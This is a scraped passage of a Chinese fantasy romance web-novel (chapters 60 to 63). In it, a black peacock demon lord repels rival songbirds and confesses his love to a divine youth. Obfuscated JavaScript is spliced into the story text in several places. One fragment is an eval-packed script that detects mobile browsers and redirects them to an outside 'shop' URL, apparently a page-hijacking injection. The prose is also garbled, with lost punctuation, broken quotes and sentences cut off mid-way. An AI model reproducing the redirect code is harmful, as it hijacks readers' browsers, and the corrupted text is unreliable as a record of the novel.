0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369679|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,都喝出胡话来了。 几日后,巫曦和孔宴秋坐在观雪亭吃石榴 这些鸟立马如影随形抱着琵琶箜篌就开始吹拉弹唱。 他们的乐声婉转动听直叫巫曦如痴如醉不住拍手叫好。然而孔宴秋前额的青筋跳动手爪捏紧缓缓攥烂了一枚石榴。 孔雀叫声喑哑孔宴秋当然也是不善音律的这种与炫耀无异的行径令他心口憋着一把火恨不得直接跳起来当场将这口火喷出去。 “再敢来挑衅你们别想活命了懂吗?”孔宴秋厉声威胁戾气大得能活吃一头龙“滚!” 少年们再度灰头土脸地滚了他尤自怒意难消坐在亭子里憋屈。 类似的事频频发生每次都以迦陵频伽张扬的显摆起始孔宴秋怒骂“滚”为止。他这辈子落魄过卑微过挣扎着求生过可是他从没有这么窝火过。 他想烧死这几只妙音鸟又不好在巫曦面前凶相毕露;想让他们赶紧滚蛋下属又上赶着规劝不能让好不容易脱离金曜宫的势力再依附回去不能让国主发现咱们看不起他……句句在理都是实情。 现如今孔宴秋的脾气稳定了许多他这才发现原来疯了倒有疯了的好起码不必瞻前顾后想烧死几只杂毛鸟还要处处受人掣制。 在孔宴秋这里迦陵频伽屡屡碰壁。 无往不利的花颜玉貌成了鸡肋——论起综合素质他们想引诱的黑孔雀比他们还好看些;天籁妙音成了无法施展的武器——黑孔雀对音律完全不感兴趣并且视他们的歌声为挑衅;想要从孱弱的神人那里下手——业摩宫的大妖先将他们堵在半路劈头盖脸地斥骂恐吓了一顿。 失败使战利品的滋味越发遥不可及同时也越发诱人。 一只妙音鸟为难地道:“尊主他……他根本就看不上我们我们该如何向国王交待?” “那个神人蒙了黑孔雀的心了!”另一只咬牙切齿地说“我不信我不信世上还有不爱我们的男子!” “或许……他只是害羞?”第三只猜测“看起来他不像是精于情场的那类浪子……” 迦陵频伽心高气傲靠着绝色的容貌美妙的嗓音平生无往不利还没有遇见会拒绝他们的人此时却在业摩宫损兵折将尝到了天大的挫败感。四只鸟合在一起叽里呱啦地计谋了一通。 他们决定单刀直入派出他们中最出色的一名直接偷偷进到孔宴秋的巢室去 被予以重任的迦陵频伽行到半路不慎撞见了蛊雕。 “大人。”他柔顺地问 好,驯服的美貌是种武器,能让强大的刀剑也听命于脆弱的雀鸟。 蛊雕的笑容意味深长,他忽然说:“漂亮小鸟。” 迦陵频伽抬起眼睛:“大人?” “告诉你一个忠告,听我说。”蛊雕看似友善地把爪子搭在他的肩膀上,“想要在业摩宫全须全尾地活下去,你们应该做的事只有一件,那就是安分。” “我……我不懂您的意思……” “不,你懂,只是你不想懂,”蛊雕放下爪子,“言尽于此,就当我大发善心,做完了一年份的慈善。” 安分? 盯着蛊雕飞远的背影,迦陵频伽一声嗤笑。 从来没有人教过他们安分,拥有这样的容貌和声音,安分就是他们最不需要的东西。 说来也奇怪,身为业摩宫的尊主,孔宴秋的寝殿却是看守最为疏松的地方,周围没有多少鸟雀敢在此逗留,迦陵频伽得以轻易地溜进去,兴奋不已地等候着宫殿的主人回来。 他观看着寝宫内部温馨迷人的装饰,眼热地从那些珍奇的宝贝,价值连城的摆设上扫过,心里不由生出了许多情切的野望。 譬如得到业摩宫主人的宠爱之后,他要如何将那个德不配位的神人挤出黑孔雀的王廷,他要如何跟手足共享这里的一切权势富贵…… “滚出去。”孔宴秋道。 迦陵频伽睁大眼睛,一下回过神来:“尊主?!” 他是什么时候来的,我怎么…… 孔宴秋忍了又忍,看见这只妙音鸟站在他和巫曦的房间梳理羽毛,真身都差点按捺不住。 “谁允许你进来的?” “尊主,我只是想……” 孔宴秋再不多话,一尾横挥,直接将其狠狠抽飞出寝宫大门。 还让你诱惑上了!还让你搔首弄姿上了! 年轻的孔雀在屋子里抓狂地挠墙,他发狠地一甩尾翎,在房间里转着圈地开了半天屏,才勉强压下那股危机感。 是了,还是我的羽毛又多又密,又有光泽,是巫曦最喜欢的模样。 什么迦陵频伽,丑鸟多作怪。 作者有话要说 【啊啊啊我回来了!!路上堵死我了……! 而对于业摩宫,坏消息:比美雄竞的来了! 好消息:比美雄竞的是孔宴啾(爱心)】 第 61 章 净琉璃之国(二十九) 第61章净琉璃之国(二十九) 是可忍,孰不可忍。 孔宴秋一尾将那只迦陵频伽抽得筋骨粉碎,倒飞出去,还不满意。他先遣使臣,向甘菩遮国赠予厚重的回礼,然后下令,将四只妙音鸟全部关在万丈深的悬崖边,任何鸟雀都不得靠近,给予水食。 如此,才算出了一口恶气。 “可怜小鸟,”凫徯轻声细语,看得直笑,“怕是还不知道自己怎么会落得这个下场呢!” 他这一族本就偏爱煽风点火,兴风作浪,无论看见谁遭殃,都会习惯性地开始乐。 “算啦,他们也不容易。”酸与随口道,“马屁拍到马蹄子上,这样的事还不是见多了?” “不过,他们居然还活着,”鬿雀若有所思地道,“这就很了不起了。黑孔雀的脾气还真是一年比一年好。” “什么好?” 身后传来声音,几头大妖急忙转身,看见巫曦站在那,怀里抱着一筐鲜菌子,好奇地张望。 “殿下,”酸与敛翅道,其他妖鸟也急忙降落地面,“您怎么来了?” 巫曦挠挠头:“看你们都在这儿站着……出什么事啦?” 大妖的视力能望见数百里外的事物,是以他们可以看见那些迦陵频伽悬在断崖上的模样,巫曦却是看不见的。 “我们在看那些妙音鸟呢!”凫徯欢快地说,反正他就是这么贱兮兮的性格,自然想方设法地要把事情挑得更复杂一些,“殿下还不知道吧,他们见罪于尊主,已经……!” 话未说完,旁边三头大妖一个给他一脚,把凫徯反着长的波棱盖踢得嘎吱作响,让他痛叫着到地上打滚去了。 “殿下休要听他胡言乱语,”鬿雀笑道,“是赏是罚,尊主自有定论,轮不到我们做下属的啰唣。” “对对,”鬼车的九个头连点,“轮不到我们啰唣。殿下要是想知道,不妨去问问尊主……” 巫曦一头雾水,被几只鸟一阵风地推到了孔宴秋那里。 “孔宴啾!”他叫道,“那几只妙音鸟怎么啦?我看他们被关起来了?” 孔宴秋抬起头,目光忽然变得十分幽怨。 真是罕见,他没有直接回答巫曦,而是问了另一个完全不相干的问题。 “我和迦陵频伽,哪个更好看?” 巫曦:“?” 巫曦一脑门子问号,他望着孔宴秋的眼睛,再联想到他这些天来的反常举动,刹那间心念电转, 一下明白了什么。 他笑了起来,跑过去坐在孔宴秋身边,用手里的菌子戳戳他郁郁不乐的脸。 “哎呀,你最好看啦, 孔宴秋的眼睛变得明亮,他闷闷地反复确认道:“真的吗? “真的呀,巫曦安慰地搂着他的脖子,继续用菌子戳戳他的脸,“你的翅膀比他们宽厚,爪子也比他们锋利,尾巴呢,也比他们更多,更大……你已经是凶猛又美丽的大鸟啦,当然不用和他们比较啊。 随着他的夸赞,孔宴秋不着痕迹地展开了自己的翅膀,舒张利爪,再抖抖尾翎……心里真是得意极了,比三伏天喝了一杯冰甜果汁还要畅快。 巫曦还在用菌子戳戳他,一边戳,一边阴暗地嘎嘎低笑,真的很坏。 “这是什么?孔宴秋问。 “菌子啦,巫曦说,“晚上给你做菌子汤喝。 说着,他对比两根菌子的新鲜程度,漫不经心道:“那些迦陵频伽,你要是不喜欢,就放出去吧。 孔宴秋顿了一下,心里那股醋意又幽幽地蔓延上来了。 “你要给他们求情? 巫曦诧异地瞄了他一眼,把篮子塞到孔雀腿上,让他也别闲着,一块择菌子。 “求什么情?反正你不喜欢毛色那么鲜艳的鸟儿,也不爱听他们唱歌的声音,那就放他们离开业摩宫吧。甘菩遮国的示好收下就行了,难道对面的国王还会管你怎么处置这些妙音鸟吗? 孔宴秋默不作声。 可我不想放走他们,我只想打杀了他们。 ……算了。 总归巫曦方才那番话已经哄得他心满意足,凶戾之气更是消散了多半,放了就放了吧。 于是,关了半个月之后,四只迦陵频伽死里逃生,从万丈断崖上放回业摩宫,个个羽毛黯淡,潦倒憔悴。被孔宴秋重伤的那只,更是差点没撑下来,险些死在囚笼当中。 “我说什么来着,漂亮小鸟?蛊雕笑着道,他来传达了业摩宫主人的旨意,“你们可以走了,尊主给你们自由,去哪里都行,就是别留在这儿,否则他真的会杀了你们。甘菩遮的示好也不是免死符。 三只妙音鸟围在重伤昏迷的那只身边,惶惶抬头,惊恐地望着他。 “对了,走之前,蛊雕突然说,“记得感谢巫曦殿下,是他用一句话救了你们的命。 余下三只妙音鸟百般恳求,希望能养好手足的伤再离开,消息传到 巫曦的耳朵里他也点了头。 伤势康复那只曾经偷偷潜入寝殿的迦陵频伽苦苦求见巫曦说想亲口对他表达感谢。 正好孔宴秋出去了不在家里这些天他缠巫曦缠得要命巫曦想了下自己确实需要喘口气遂答应对方溜到了迦陵频伽的居所。 重伤初愈妙音鸟的脸蛋还是苍白的显得弱不禁风更加楚楚动人。 “殿下”他哀凄地道“感谢您的救命之恩我们这一生怕是不能报答得尽了……” “啊不用不用”巫曦赶紧推拒“只是举手之劳算不上什么。你们以后想好要去哪儿了吗?” 迦陵频伽定定地看着他嘴角抽动了一下眼神一瞬变得怨毒又很快消散下去:“还没想好故国是不能回去了我们辜负了国主的嘱托以后的事也只能走一步看一步啦。” 巫曦点点头:“这样啊……” 盯着他的脸妙音鸟沉默片刻忽然从嘴唇中迸出一个问题:“你是怎么做到的?” 巫曦一愣:“什么?” “我是说您是怎么做到的?”迦陵频伽挤出一个笑容“您是怎么做到像今天这样的地位这样的身份?” 巫曦:“呃……” 这个问题还真是有点难度他仔细斟酌了一下才开始回答。 “认真吃饭按时睡觉做自己喜欢的事并为之付出但同时要学会偷懒因为人毕竟不是上了发条的偃偶。” “早上起床的时候精气神都最为饱满所以要比较严格地规划这一天要做的事不过做不完也没关系啦临睡的时候最累所以要每晚原谅自己一次对自己说没关系的我已经很出色了……”巫曦掰着手指咕噜噜地数了一堆。 “我想差不多就这些?” 与此同时孔宴秋正朝这边走来。回宫之后他没在寝殿里发现神人的影子 他站定脚步孔雀耳力惊人站在拐角处他已经听见了前方房间里的迦陵伽频的说话声。 “……巫曦殿下”妙音鸟的语气十分委屈“您这是什么回答?难道您在讽刺我吗?” “我没有说什么啊?”巫曦很惊讶“这都是我的真……” 迦陵伽频冷笑一声直截了当地打断了他的话。 “我在问你你究竟是怎么入主业摩宫的!”他狠声道语气已经变得强硬带着更多的怨恨“你还真是愚蠢啊竟然听不出我的嫉妒……” “ 是了,我是嫉妒你的。我妒忌你在这里的地位,妒忌你用一句话就能把尊主支使的团团转,妒忌你明明只是一介貌不出众,才不惊人的孱弱神人,却能凌驾在大荒妖鸟之上。 “你知不知道,你只要一句话,就能覆灭一个国家,改变高山和大海的走向?我当然妒忌你……我怎么能不妒忌你!” 莫不是发癫疯了? 孔宴秋实在听得摸不着头脑,这都是什么跟什么? 巫曦在这里的地位是他双手奉上的,正如自己拥有那间小木屋的一半屋檐,一半床铺,巫曦当然也拥有业摩宫的一半屋檐,一半床铺,业摩宫所有的全部,都有他的一份。 至于一句话就把自己支使得团团转……怎么了,有什么问题?倘若有一天,巫曦不来支使自己了,那才是最大的问题。 后头那句“貌不惊人,才不出众”就更可笑了,你一只秃尾巴丑鸟,有什么资格评价他? ——更重要的是,你竟敢这么跟他说话。 孔宴秋面色阴鸷,爪尖已经燃起一蓬飘摇的毒火。 房间里,巫曦意外地道:“哦,哦……好的?这就是你想对我说的话吗?” 迦陵伽频的攻击仿佛落在了棉花上,对方不痛不痒,倒把他差点憋死。他更加气急,口不择言道:“行,那咱们就来好好说道说道!” “我说你是弱小神人,难道说错了吗?你身为神人,寿数撑死不过一千来年,你又能陪伴尊主多长时间?想想看,等你白发苍苍,风烛残年之际,尊主却还是昔时的风采样貌,你们怎可相配?既然你已经是长留的王子,那为什么不快快地滚回你的长留呢?” 孔宴秋的手爪中,五蕴阴火猝然一震,几乎在瞬间熄灭。 ……这是他从未考虑过的事。 是了,他只顾着沉溺在与巫曦日夜不离的幸福当中,却忘了如此要命的事。自己是与天地同寿的孔雀,而巫曦只是年岁有限的神人,他们只能相伴一千余年……如此短暂的一千年! 一时之间,孔宴秋仿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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巫曦会厌倦我吗? ——他终究年纪尚小都说少年人的心性不定他会不会琵琶别抱会不会在以后遇上比我更好更和他心意的人?谁也不能预知未来的事……不燃灯佛可以预知未来的事但那个老东西都没了不知道多久谁知道哪天才能诈尸? 巫曦:“嗯 ……哦。 哦。 孔宴秋的心头蓦地一松仿佛有一股滚烫的热蜜流过。 他在乎我…… 他说他在乎我呢。 迦陵频伽气喘吁吁目瞪口呆地望着他彻底没词了。 “你说了这么多也让我说一说好不好?” 巫曦叹了口气拉一把椅子坐下。 “没关系我不怪你我明白的你很害怕。” 迦陵频伽:“……什么?” “你刚才的话……我不知道你有没有意识到一件事就是你对外人的冲动评价有时候会泄露自己的很多秘密。”巫曦沉思道“你害怕失去权力没有地位因为你需要它们去稳定自己的人生你需要安全感你们都需要。” “同理你说嫉妒孔宴秋对我好——听上去你好像很喜欢他但你喜欢的到底是‘孔宴秋’本身还是这种没有忧患不必颠沛的生活呢?你看不起‘孱弱的神人’可 是轻视弱小,也不能让你自己变得强大,只能让你看起来强大,仅此而已。” 迦陵频伽呆呆地盯着他,这一刻,他完全失去了声音。 “所以我不怪你,因为长得漂亮,声音动听,身姿美丽……这些都不是你们的错啊,”巫曦轻声说,“你只是害怕罢了。” 他笑了起来:“没关系的!一切都会好起来,获得自由之后,还请你尝试一下,像我刚才说的那样生活吧!我相信你们,一切都会好起来的。” 迦陵频伽的眼睛在颤抖,嘴唇更在颤抖,他想大喊一声“你这种高高在上的漂亮小孩懂什么!”,但他什么话都说不出来,眼泪夺眶而出,于是他也夺门而逃。 巫曦急忙道:“哎……!” 然而,逃出去没几步,迦陵频伽便畏惧地停下了翅膀。 他看见了面沉如水,静默站立的孔宴秋。 刹那间,他真的以为自己会当场惨死,但孔宴秋嘴唇微动,仅是吐出一个字。 “滚。” 迦陵频伽逃出生天,而孔宴秋站在原地,心中只回荡着一个念头。 ……是了,妙音鸟说得对。 这样心如琉璃,璀璨通透的巫曦,他大约是真的配不上的。 作者有话要说 其他鸟:*眼红,嫉妒*他只是个神人,什么都不会的神人! 巫曦:*笑着跑来跑去,一秒钟找出一百根没有毒的蘑菇*啊哈! 孔宴秋:*着迷*他是最完美的。 其他鸟:*愤恨,诋毁*他又小又愚蠢! 巫曦:*咬着手指头,忧心晚餐吃什么才好*嗯……真难办! 孔宴秋:*变得忧郁*我配不上他。 第 62 章 净琉璃之国(三十) 第62章净琉璃之国(三十) 房间里,巫曦急忙追出来。 然而,他没有在外头发现妙音鸟的身影,附近空空如也,对方也不知道飞到哪里去了。 真奇怪啊,他挠着脑袋,自己的话还没说完,他怎么就跑了呢? 巫曦困惑地回到寝殿,看见偌大一堆孔宴秋,正盘在窗边出神。 “孔宴啾!”他蹦哒过去,“你不知道我刚刚……孔宴秋?你,你怎么了?” 听见他的声音,黑孔雀沉默着抬起头。不知是不是巫曦的错觉,他总觉得,好像孔宴秋身上的颜色黯淡了许多,就像蒙了一块脏玻璃,整个鸟灰扑扑的。 “我……”孔宴秋张了张嘴,轻声道,“我方才去找你了。” 巫曦的嘴巴变成“o”形,他坐下来,问:“那你听见我跟妙音鸟说话了吗?” 孔宴秋点点头:“嗯,听见了。” 他偏过头,望向窗外连绵起伏的群山,终年不化的大雪,神情郁郁道:“他说得对。” “我这样生来残缺,为世人所不齿的不祥之物,确实是配不上你的。” 巫曦的眼睛一下瞪得比盘子里的石榴还圆。 “……等一下,妙音鸟什么时候说过这些话了,我怎么没听见?” “其实现在想想,在遇到你之前,我的状态又比入魔好多少?”孔宴秋继续道,“因为我感知到的全是负面的事物——世界对我充满恶意,我自然也对这个世界没有好脸。我习惯了杀戮,习惯用火烧死我见过的每一个敌人。说来很可笑,但是看着他们在火中翻滚、尖叫,我却像是加深了和外界的某种联系一样。只有那些亲手夺取他人性命的时刻,我才觉得,自己是真实存在的东西。” 他喃喃道:“但我看着你,就像看着天上的琉璃……” 巫曦张口结舌地望着他。 “……你太通透,太明亮,在你身边,似乎一切都变得那么轻盈,可以不靠翅膀就飞到天上去。我想把你抓在手里,又觉得自己的手脏得要命……” “不是啊,你发烧了吗?”巫曦难以置信地问,“为什么突然说起胡话来了?” 他忽然想到了什么,茅塞顿开,重重地拍了下大腿:“哎呀我的天!就跟你说了,那个菌子不能多吃!快快,我给你煎一剂药,你喝了就好了。” “我没生病,”孔宴秋拉住他的手,惨淡一笑,“只是听了迦陵频伽的话,觉得你太好了,和我在一起,确实连累了 你。 “我是金曜宫的罪果,伴生五蕴阴火,是所有人避之不及的黑孔雀,可是你,你还有光明的未来…… 巫曦听得头晕脑胀,脑袋都要变大了。 这都什么跟什么呀!妙音鸟那些话呲溜溜地从他的心上滑走了,没有给他造成半分伤害,可是怎么全插到孔宴秋的心上去了? 望着孔雀黯然的神情,听着他的薄唇一张一合,吐露出的全是过分自戕的爱,巫曦真是脑门滚热,理智蒸发,浑身像有毛毛虫在爬。 我要堵住他的嘴巴。 不管用什么方法,我一定要堵住他的嘴巴! 忍无可忍之下,巫曦不管不顾地喊道:“你不要再说啦! ——然后一把抓住孔雀鬓边垂下的翎羽,揪过来,恶狠狠地用自己的嘴唇,堵住了孔宴秋的嘴唇。 刹那间,满殿死寂,时间亦凝滞了。 一人一鸟大眼瞪小眼地对视,红晕从巫曦的脖子上慢慢涨起,孔宴秋眼睁睁地瞅着它们一路蔓延到巫曦的下巴、耳根、耳朵尖,然后飞速熏满了他的面颊,把他整个人变成一只煮红的虾子。 巫曦一寸寸地松开手,丢开两根皱巴巴的翎羽,然后一点点地直起腰,向后撤。 他亲得太用力,以至于嘴唇分开的时候,都能感觉到那种柔软的,细微的牵扯感。 “我家里还有事我先走了我明年就回来了勿念!红通通的巫曦一口气喊完这句话,盯着冒烟的脑门就往外蹿,被眼疾手快的孔宴秋一把拉住,狠狠扯到怀里。 “亲了别人的嘴还想跑?黑孔雀色厉内荏地叫嚣,“我看你往哪儿跑! “我没有亲了就跑!巫曦像一尾滑溜溜的小鱼,打着蹦子地试图从他怀里翻出去。 他捂住嘴,一双眼睛吓得乱转,含糊不清地叫道:“我……我还有别的事!锅里的水要烧开了下雨了我要去收衣服唔唔唔! “占了便宜就想逃?孔宴秋哼哼笑,一双手臂像是铁铸的,牢牢把他抱在自己怀里,用指头肚去刮他热腾腾的脸蛋,“你脚下一滑,可是把我的名节给毁了…… 巫曦羞窘不已,口无遮拦道:“我没有脚滑!我是、我是故意亲你,嗯!我故意的! “故意的?此刻的孔宴秋还没反应过来,他的自卑和脆弱,全被巫曦的一个吻打飞到九霄云外了,现在他心情好得没边儿了,只想跟巫曦抱在一起闹,“哦,这么说你是故意要往我的嘴唇上亲,故意要跟我…… 话说到这,一下截断在喉咙里,年轻的 孔雀猛然意识到了什么,一颗心都颤了起来。 孔宴秋不再笑了。 沉默在他们当中蔓延,他的目光变得专注,幽深,片刻后,他轻声追问:“为什么亲我? 巫曦自知失言,无措地紧紧闭上了嘴巴。 过去,他当然亲过孔宴秋,但那都是在脸颊上,是像亲密的朋友那样无伤大雅的吻。他不是傻瓜,孔宴秋更不是傻瓜,嘴唇对嘴唇……终究是不一样的。 孔宴秋的手臂慢慢松开,趁此机会,巫曦一下挣脱出来,跌跌撞撞地向后。 “我不知道……他小声说,“忘了、忘了这件事吧,是我一时冲动,我做错了…… 孔宴秋的目光像两根钉死的钉子,怔怔地凝视着他。 他的血液在燃烧,像熔岩一样沸腾了他的身体。他的额头已经冒出了细小的汗珠,手爪亦在不自觉地抽搐。 一股热浪从头到脚地席卷了他,伴随着恍然的开悟,这个突如其来的,谁也想不到的吻,就像一把钥匙,打开了最大的谜题宝箱—— 如果他不是爱着巫曦,如果巫曦没有爱着他,那这个吻算什么呢?而他们这几年的陪伴和依偎,他日思夜想,快要把自己煮沸、熬干,膨胀到要将他整个人炸碎的这股焦渴,又算什么呢? “为什么亲我?他的声音开始变得沙哑,孔雀直起身体,朝巫曦迈出一步,身后双翼投下沉沉的阴影,“仅仅只是……一时冲动? 巫曦的四肢已然软得像是煮熟的面条。 孔宴秋向前一步,他就情不自禁地后退一步。 他想像以往那样,用笑容将这件事轻轻盖过,可他的面颊早已烧得通红,连耳朵都红得要命;想说两句撒娇的软话,让孔宴秋快快放过自己,可连他的舌头也黏哒哒地酥了,两片嘴唇来回磨蹭,只发出些小动物般的哼唧声。 巫曦声如蚊蚋,嗫嚅道:“我、我不…… 他形容不出孔宴秋的眼神里含着多么狂热的情潮,他只知道,那非人的暗金色眼瞳一遍又一遍地刮过他的每一寸皮肤,这有如实质的目光,简直叫他不知道该怎么摆弄自己的双手。 巫曦虚弱地揪住衣摆,任由轻薄光滑的衣料被掌心沁出的热汗浸湿。 “你……你别这么看着我呀,难道你想把我吃掉吗? 最后,他声音发颤,勉力开了个玩笑,试图缓和寝殿里越发炽热,越发粘稠的空气,可更让他担心的事发生了——孔宴秋完全没有回应他的笑话,甚至连表情都没有变化一下。 他的神 色,他的眼睛,还有他更加逼近的动作,似乎都在对巫曦的提问报以笃定的回答: 是的,你说的没错。 野兽是不会矫饰,不会犹豫,更不会惺惺作态、忸怩谦让的,它们的天性就是狩猎与被狩猎,蛮横的欲望昼夜不休,奔流在野兽的血管里。发现了破绽,它们就进攻,看到了猎物的足迹,它们就凶猛地追击。 此刻,巫曦的破绽一览无遗,他逃跑的足迹,也被完全看透。 巫曦抿着嘴巴,感觉自己快要哭了。 他往后退得太多,不防脚下一绊,失控地跌坐在巢床上。孔宴秋抓住机会,即刻欺身而上,彻底笼罩住了他。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369681|130309||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巫曦下意识想要推着他的胸膛,也被孔雀一把抓住手腕,直接按在胸口。 “为什么要亲我?孔宴秋重复着先前的问题,“你知道答案的,就告诉我,好不好?说啊,求你了,说吧。 末尾,他的语气掺杂了更多恳求的意味,那双暗金色的眼睛同时变得温软、湿润,像含着两汪水。 “我不知道!嗯嗯,我不知道……巫曦胡乱摇着头,试图逃避那个呼之欲出的答案。空气已经太炽热,汗水从他的鼻尖和前额滴落,他的手臂和后背更是润着一层细汗。 孔宴秋发出了一点若有所思的轻哼声,他盯着巫曦,缓缓低头,有那么一刻,巫曦几乎以为他会亲自己,但他停了下来,只是望进他的双眼。 他们挨得这么近,巫曦完全可以数清他浓密的睫毛,看到他眼下两颗小小的泪痣,以及虹膜上恍若星河的深金色脉络——经历了脱骨换羽的蜕变,他的容貌更加英气勃发,好看得令人晕眩。 他们的视线相互胶着,都用目光攥紧了对方的心魂。 “有没有人跟你说过,你的眼睛很好看? 巫曦嘴唇蠕动,细声细气的:“没、没有…… “那么,他似乎是笑了一下,“你的眼睛真好看,黑得像夜晚的天空,又闪着星星。 他说完这句话,便认真地低下头,将灼热的嘴唇贴在巫曦的眼角,不急不迫地亲了一下,又一下。巫曦的睫毛不安分地发抖,眼尾亦被亲得发红,像是委屈地哭过。 年轻的孔雀亲完一边,再将啄吻蔓延到另一边,巫曦轻轻哼着,灼热的火花从这些细碎的亲吻中迸溅,沿着他的脊柱流下,把他变成了一小摊毛茸茸,暖洋洋的小水洼,可以融化成任何形状,渗透进 任何地方。 “用这么多亲亲贿赂你,可以吗?”孔宴秋哑声笑道,鸟类的体温比人高,何况是孔雀这样的大鸟?他散发出的热度完全包裹了巫曦,令神人汗津津地喘着气,“就告诉我吧,好不好?” 即便是金刚石一样的心灵,也无法在这样的攻势下保持稳定了。巫曦喃喃地道:“我……因为我喜、喜欢你……” “喜欢”这个词一说出口,就代表他已经丢盔弃甲,溃不成军。巫曦叹出一口气,接着道:“你是我的心上人……好吧心上鸟……就这样!如果不是因为喜欢你,我才不会管你呢……” 终于。 孔宴秋眼圈发红,恍惚地盯着巫曦。 他终于认下了跟我的关系,从今往后,我的心不必再四处漂泊,流落无依,我的心终于可以落在他怀里,一生一世地依偎着他,只为了他而跳动。 “你也是我的心上人,”孔宴秋哑声说,“我心里爱你,已经爱了很久很久了。” 都说薄唇的人也容易薄幸负心,然而孔宴秋岂止是不薄情,他委实是太过浓情。 他捉住巫曦饱满的下唇,将一个又一个吻绵绵不绝地印在上面。他暗金色的双眸居然变黑了,瞳孔也涨得过大,孔雀的手爪深深嵌进巢床,巫曦甚至能听见可怜的巢被巨大的压力攥得嘎吱作响。 “不行!”赶在事态失控之前,巫曦面红耳赤,哇哇大叫着避开鸟舌头,“我们不应该……不应该这么做!” “不应该?”孔宴秋呼出一口火一样的热气,密不可分地压着他,四片嘴唇就像黏了蜜,紧紧缠在一处,“我掉下来那天,你就摸了我的尾巴,是不是?你现在说不应该,难道孔雀的尾巴是那么好摸的?” 他的尾羽同时簌簌地展开,映照满室黄昏,灿灿的金光恍若波光粼粼的水面,沉重且炽热地压倒了巫曦的全部世界。 巫曦欲哭无泪,真是要晕过去了。 作者有话要说 【这两天肚子痛痛,抬不起手了!明天还是请个假缓一缓,大家等我……!】 孔宴秋:*伤心,失落,消沉*我不够好,我配不上你,我是最糟糕的…… 巫曦:*很生气,因为他竟敢这么说*过来,你这个可怜又无辜的东西,我会狠狠强吻你!*强吻了* 孔宴秋:*被亲得魂飞魄散,立刻昏倒* 巫曦:*大惊失色,哭了*哎哟! 第 63 章 净琉璃之国(三十一) 第63章净琉璃之国(三十一) “真是受不了啊。”酸与喃喃道。 “真是受不了啊。”鬿雀应和道。 “受不了啊。”鬼车麻木道。 “啊。”蛊雕说。 蛊雕被迎面打来的一颗明珠弹子击中,掉落廊下没一会儿又晃悠悠地飞上来了。 “他拿弹子砸我。”蛊雕说“怎么不砸你们这群贱鸟。” “你知足吧,”酸与说,“要搁着以前,你早就被烧死了,还轮的着拿弹子砸?” “真是受不了啊。”鬿雀说。 “受不了啊。”鬼车说。 自从那一人一鸟确定了关系,几只迦陵伽频全是囫囵个儿地出了业摩宫,就算孔宴秋人逢喜事精神爽,大赦天下的慈悲了。 然后,在业摩宫里,随处可见的景象就变成了—— “哈!你终于输啦!”巫曦拍着手双颊高兴得飞红,“快快快轮到你替我做事了!” “嗯”孔宴秋不着痕迹地收回掷弹子的手,凤眼含笑,柔情脉脉地望着巫曦,“要我做什么事?” 巫曦支着下巴,思索了一阵,他甜丝丝地说:“我要你……给我摘一朵花儿!而且,是开在现在这个时节的花。” 他就是说“我要你摘一朵开在太阳上的花”孔宴秋也会像喝了蜜一样神志不清地应承下来。 于是,伴随双翼的拍击声,世间仅此一只的黑孔雀即刻纵身飞出,巫曦一边低头拨弄棋子一边咬着嘴唇傻乐不消片刻孔宴秋便裹着一身的风雪回来了。 他黑紫的锋利手爪中当真捏着一朵碗口大的白花花蕊如玉馥郁扑鼻。 “清风玉露?”酸与说。 “清风玉露。”鬿雀说。 “估摸着跑去扫荡了鹿蜀的花圃。”蛊雕说 蛊雕被迎面打来的一颗明珠弹子击中再次掉落廊下然后又晃悠悠地飞上来。 “怎么不砸你们这群贱鸟”他怨气深重地说“难道只有我一个该打吗?” “真好看!”巫曦惊喜地接过花闻了闻“好香啊……是清风玉露吗?可别叫它干枯了。” 孔宴秋拿过一个玉瓶里头装满灵露他将花插进去微笑道:“你喜欢就好。” “行吧!”巫曦大度地说“就算你过关啦。” 孔雀眉梢一挑做出惊喜的模样:“实在感念殿下的恩德。” 一人一鸟继续下棋,半晌,巫曦皱着眉头,发出即将落败的可怜哼哼。 “好嘛,我输了,他抬起眉毛,用那双无往不利的小狗眼睛瞅着孔宴秋,“你要我做什么? 孔宴秋佯装严肃地咳嗽了两下,还没说话,耳朵尖上已是晕了一层薄红。 “我要你……他俯身,越过棋盘,轻轻地压低了声音。 “你要我……? “……我要你亲我一下。孔宴秋喃喃地道。 “什么呀!巫曦的脸红得要命,他慌张地瞥着四周,生怕有人会突然跳出来,大声说“你们这是伤风败俗!,但很可惜,业摩宫的妖鸟早就在这些天吃够了教训,一见他们开始对视,傻笑,便知道大事不妙,赶紧一窝蜂飞远了。 “旁边……肯定会被人看见的,巫曦结结巴巴地道,“你换一个要求,你换一个! 孔宴秋:“嗯嗯,我不换,我就要这个。 一经对视,他们的眼神立刻难解难分地揉在一处,像灼烧的火焰,加热了周围的空气。孔宴秋饥饿地注视着他,目光中带着强烈的喜爱和渴望,似乎仅凭眼神,就能将巫曦整个含在嘴里。 他看起来既想跪倒在巫曦身前,又想将他抱起来,钉在他们的巢床之上。如此犹豫不决的两种情态,令他盯着巫曦嘴唇的目光越发狂热,仿佛连魂都要丢了。 “那……那只能亲一下!巫曦期期艾艾地道,“只能一下哦…… 孔宴秋的注视快把他煮沸了,巫曦红着脸,倾身过去,在对方的嘴唇上一触即离。 他刚想说“这下可好了,便被孔宴秋捏住腰,横抱着一把压到桌上。 棋盘翻倒,雨珠似的棋子落了一地,湿哒哒地在地板上滚动,连成绵绵不绝的漓淋滴响。 很久之后,响声才停下。 